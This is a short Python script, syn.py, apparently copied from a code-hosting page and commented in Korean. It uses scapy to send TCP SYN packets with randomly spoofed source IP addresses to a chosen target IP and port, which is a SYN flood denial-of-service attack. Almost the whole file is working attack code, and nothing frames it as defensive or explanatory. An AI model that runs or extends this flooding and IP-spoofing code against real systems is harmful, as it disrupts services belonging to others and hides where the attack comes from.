syn.py
1.05 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import random
from scapy.all import IP, TCP, send
# 무작위 IP 생성
def random_IP():
ip = []
for _ in range(0, 4):
ip.append(str(random.randint(1, 255)))
return ".".join(ip)
def syn_flood(targetIP, targetPORT):
IP_Packet = IP()
IP_Packet.src = random_IP() # IP Spoofing
IP_Packet.dst = targetIP
TCP_Packet = TCP() # SYN은 TCP 헤더의 플래그 비트이므로
TCP_Packet.sport = random.randint(1000, 10000)
TCP_Packet.dport = targetPORT
TCP_Packet.flags = "S"
TCP_Packet.seq = random.randint(1000, 10000)
TCP_Packet.window = random.randint(1000, 10000)
for _ in range(16):
try:
send(IP_Packet / TCP_Packet, verbose=False)
except Exception as e:
print(f"Error while sending SYN packet\n{e}")
else:
print(f"SYN packet sent to {'{}:{}'.format(targetIP, targetPORT)}.")
"""
flags = {
'F': 'FIN',
'S': 'SYN',
'R': 'RST',
'P': 'PSH',
'A': 'ACK',
'U': 'URG',
'E': 'ECE',
'C': 'CWR',
}
"""